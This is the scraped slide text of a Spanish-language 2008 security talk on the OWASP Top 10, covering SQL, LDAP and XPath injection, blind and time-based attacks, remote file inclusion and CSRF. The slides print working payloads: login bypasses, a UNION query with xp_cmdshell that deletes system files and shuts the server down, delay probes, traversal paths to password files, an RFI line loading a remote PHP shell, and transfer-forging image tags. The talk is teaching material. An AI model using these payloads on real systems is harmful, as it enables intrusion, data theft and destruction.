Slideshare y Scribd - Noli Cubillan Gerencia
 
La electricidad y la electronica.10-7.pdf
La electricidad y la electronica.10-7.pdfLa electricidad y la electronica.10-7.pdf
La electricidad y la electronica.10-7.pdf
 
Viguetas Pretensadas en concreto armado
Viguetas Pretensadas  en concreto armadoViguetas Pretensadas  en concreto armado
Viguetas Pretensadas en concreto armado
 
Actividades de computación para alumnos de preescolar
Actividades de computación para alumnos de preescolarActividades de computación para alumnos de preescolar
Actividades de computación para alumnos de preescolar
 

Charla OWASP

  • 1. 12/04/2008 The Open Web Application Security Project THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES ►http://www.owasp.org/images/e/e8/OWASP_Top_1 0_2007.pdf 1
  • 3. 12/04/2008 ►SQL Injection ►LDAP Injection ►Xpath Injection ►…Y a ciegas… ►Blind SQL Injection ►Blind LDAP Injection ►Blind XPAth Injection ► Aplicaciones con mala comprobación de datos de entrada. Datos de usuario. Formularios oText oPassword oTextarea oList omultilist Datos de llamadas a procedimientos. Links Funciones Scripts Actions ► Datos de usuario utilizados en consultas a base de datos. ► Mala construcción de consultas a bases de datos. 3
  • 4. 12/04/2008 ►Permiten al atacante: Saltar restricciones de acceso. Elevación de privilegios. Extracción de información de la Base de Datos Parada de SGBDR. Ejecución de comandos en contexto usuario bd dentro del servidor. ►Ejemplo 1: Autenticación de usuario contra base de datos. Usuario Clave **************** Select idusuario from tabla_usuarios Where nombre_usuario=‘$usuario’ And clave=‘$clave’; 4
  • 5. 12/04/2008 ►Ejemplo 1 (cont) Usuario Administrador Clave ‘ or ‘1’=‘1 Select idusuario from tabla_usuarios Where nombre_usuario=‘Administrador’ And clave=‘’ or ‘1’=‘1’; ►Ejemplo 2: Acceso a información con procedimientos de listado. http://www.miweb.com/prog.asp?parametro1=hola Ó http://www.miweb.com/prog.asp?parametro1=1 5
  • 6. 12/04/2008 ►Ejemplo 2 (cont): http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:boot.ini”); shutdown -- Ó http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; -- ►Escrita por Francisco Amato ►Obtener la estructura y datos completa de la BBDD. 1 Injección para la estructura 1 post para cada fila Totalmente automática ►Soporta “n” bases de datos. ►Descargable (app y source) http://www.infobyte.com.ar 6
  • 7. 12/04/2008 ►Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc) ►Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value 'sys' to data type int. /Programa.asp, line 8 ►Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’sys’ order by 1 desc) 7
  • 9. 12/04/2008 ►La aplicación Web no muestra ningún mensaje de error. ►La aplicación no procesa nuestros comandos Select titulo from tabla where param=$param ►Se inyecta comandos y se busca hacer preguntas de Verdad o Mentira. Ejemplo: http://server/miphp.php?id=1 and 1=1 http://server/miphp.php?id=1 and 1=2 9
  • 10. 12/04/2008 ►¿Como reconocer un falso? Da un código de error Da una página de error Cambia el hash de la firma Cambia el árbol html Tarda más en responder ►Si la página reacciona de forma diferente a la Verdad y a la Mentira, entonces podemos extraer datos haciendo búsquedas: http://server/miphp.php?id=1 and 300>(select ascii(substring(username,1,1) from all_users where rownum<=1) 10
  • 11. 12/04/2008 ►Si el contenido de la respuesta es idéntico en ambos casos, aún es posible conseguir nuestro objetivo variando condicionalmente el tiempo de respuesta del servidor Si la condición inyectada es verdadera, la aplicación tardará unos segundos en contestar Si la condición es falsa, la aplicación devolverá la misma respuesta, pero en el tiempo habitual ►Podemos utilizar las mismas técnicas de inyección descritas anteriormente 21 ►¿Cómo podemos conseguir el retardo? Utilizando instrucciones de retardo implementadas en el propio gestor de bases de datos SQL Server: waitfor delay Oracle: dbms_lock.sleep MySQL: sleep Utilizando consultas pesadas que consuman muchos recursos del servidor (CPU o memoria) CROSS JOIN que involucren muchas tablas De cualquier otra forma (ej: xp_cmdshell 'ping…') 22 11
  • 12. 12/04/2008 ►Instrucciones de retardo del propio SGBD Microsoft SQL Server ; if (exists(select * from contrasena)) waitfor delay '0:0:5' Oracle ; begin if (condicion) then dbms_lock.sleep(5); end if; end; MySQL (versión 5) and exists(select * from contrasena) and sleep(5) and exists(select * from contrasena) and benchmark(5000000,md5(rand()))=0 Microsoft Access no tiene instrucciones de retardo 23 http://elladodelmal.blogspot.com/2007/06/blind-sql-injection-ii-de-hackeando-un.html 12
  • 13. 12/04/2008 ►Consultas pesadas La clave para generar consultas pesadas está en realizar múltiples operaciones CROSS JOIN Joins Filas Columnas 1 4 2 2 16 4 3 64 6 4 256 8 5 1024 10 Ejemplo: Una tabla con 4 registros y 2 columnas combinada consigo misma 10 veces, genera un resultado de 20 columnas y más de un millón de filas ►Consultas pesadas: estructura SELECT COUNT(*) FROM tabla T1, tabla T2, …, tabla Tn Donde el número de tablas implicadas en el producto cartesiano (CROSS JOIN) sea suficientemente grande como para generar un retardo medible Dependiendo del SGDB y de cómo realice la comprobación de las condiciones lógicas introducidas con AND, deberemos establecer nuestra subconsulta SQL antes o después del operador lógico AND subconsulta AND consulta_pesada AND consulta_pesada AND subconsulta http://www.microsoft.com/latam/technet/articulos/art iculos_seguridad/2007/septiembre/sv0907.mspx 26 13
  • 14. 12/04/2008 ►Consultas pesadas: tablas recomendadas Microsoft SQL Server sysusers Oracle all_users MySQL (versión 5) information_schema.columns Microsoft Access MSysAccessObjects (versiones 97 y 2000) MSysAccessStorage (versiones 2003 y 2007) 27 Verdad: La consulta dura 6 segundos. 14
  • 15. 12/04/2008 Falso: La consulta dura 1 segundo. 15
  • 17. 12/04/2008 ►Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybase y Oracle utilizando suma linear de valores ASCII. ►Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybase y Oracle utilizando suma linear de valores ASCII. 17
  • 20. 12/04/2008 ►Sniffing de Passwords LDAP ►Recogida de certificados servidores LDAP-s ►MITM LDAP-s ►LDAP: Base de datos Jerarquica Clases Objetos Herencia Contenedores ►Búsqueda: LDAP Search Filters 20
  • 21. 12/04/2008 filter = LPAREN filtercomp RPAREN filtercomp = and / or / not / item and = AMPERSAND filterlist or = VERTBAR filterlist not = EXCLAMATION filter filterlist = 1*filter item = simple / present / substring / extensible simple = attr filtertype assertionvalue filtertype = equal / approx / greaterorequal / lessorequal equal = EQUALS approx = TILDE EQUALS greaterorequal = RANGLE EQUALS lessorequal = LANGLE EQUALS (&(atributo1=valor1)(atributo2=valor2)) Ejemplo: (&(directorio=nombre_directorio)(nivel_seguridad=bajo)) Inyección: (&(directorio=almacen)(nivel_seguridad=alto))(|(directorio=al macen)(nivel_seguridad=bajo)) 21
  • 22. 12/04/2008 (|(atributo1=valor1)(atributo2=valor2)) Ejemplo: (|(cn=D*)(ou=Groups)) Inyección: (|(cn=void)(uid=*))(ou=Groups)) ►Tiene lógica binaria ►Tiene soporte para booleanización: Comodín: * Reducción charset: *a* Despliegue: a* Relacionales: >= <= ~= = 22
  • 23. 12/04/2008 ►Certezas absolutas (RFC 4256) Absolute FALSE (|) Absolute TRUE (&) ►Anomalías: ¿NOT absoluto? (!) -> equivalente a ! Caracteres fuera del alfabeto Ñ* -> equivalente a * Ç* -> equivalente a * ** -> equivalente a ¡¡ERROR!! 23
  • 24. 12/04/2008 Explotación Dada la siguiente consulta Xpath: string(//user[username/text()=‘romansoft' and password/text()='!dSR']/uid/text()) Dónde buscar Condición Qué devolver Inyectamos: User: abc' or 1=1 or 'a'='b Pass: k La condición quedaría: username/text()=‘abc' or 1=1 or 'a'='b' and password/text()=‘k' ►Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores ►Se debe a una mala programación o uso de la función include() ►Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor 24
  • 25. 12/04/2008 ►La vulnerabilidad es producida por código semejante a este $page = $_GET['page']; include($page); ►En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor http://victima.com/pagvuln.php?page=http://[misitio]/miFichero ►Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs) 25
  • 26. 12/04/2008 ►Mediante las shell PHP se pueden ejecutar comandos en una página Web ►Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc. ►http://www.acamandola.com/safe.txt ►“El cucharón” Rutas a ficheros no controladas File=../../../../etc/passw id=…/../windows/repair/sam 26
  • 27. 12/04/2008 ►Session Riding, One-Click Attacks, Cross Site Reference Forgery, Hostile Linking, Automation Attack o XSRF. ►Por medio de una injección se fuerza la ejecución de acciones automáticas por parte del usuario. <img src=quot;http://www.example.com/logout.phpquot;> <img src=quot;http://www.example.com/transfer.do? frmAcct=document.form.frmAcct &toAcct=4345754 &toSWIFTid=434343&amt=3434.43quot;> 27
  • 28. 12/04/2008 ►Se deja información sensible sin asegurar ►Se muestran mensajes de error detallados ►7.- Autenticación Rota y Gestión de Sesión Partes sin comprobar autenticación No procesos de logout seguro. ►8.- Almacenamiento con Criptografía insegura Datos sin cifrar o mal cifrados ►9.- Comunicaciones Inseguras ►10.-URLs mal restringidas Pueden ser adivinadas o “bruteforceadas” 28
  • 29. 12/04/2008 ►Chema Alonso ►chema@informatica64.com ►http://elladodelmal.blogspot.com ►http://www.informatica64.com ►Francisco Amato ►Infobyte ►famato@infobyte.com.ar ►http://www.infobyte.com.ar Technews I64. Suscríbete Gratis en http://www.informatica64.com/boletines November 2006 58 29
  • 30. 12/04/2008 Blind SQL Injection http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de- blind.html Time-Bases Blind SQL Injection with heavy Queries http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/s eptiembre/sv0907.mspx LDAP Injection & Blind LDAP Injection http://elladodelmal.blogspot.com/2007/10/ldap-injection-blind-ldap- injection_9021.html XPath injection in XML databases http://palisade.plynt.com/issues/2005Jul/xpath-injection/ Blind XPath Injection http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518. pdf ► Milw0rm (Webapps exploits) http://milw0rm.com/webapps.php - OWASP http://www.owasp.org 30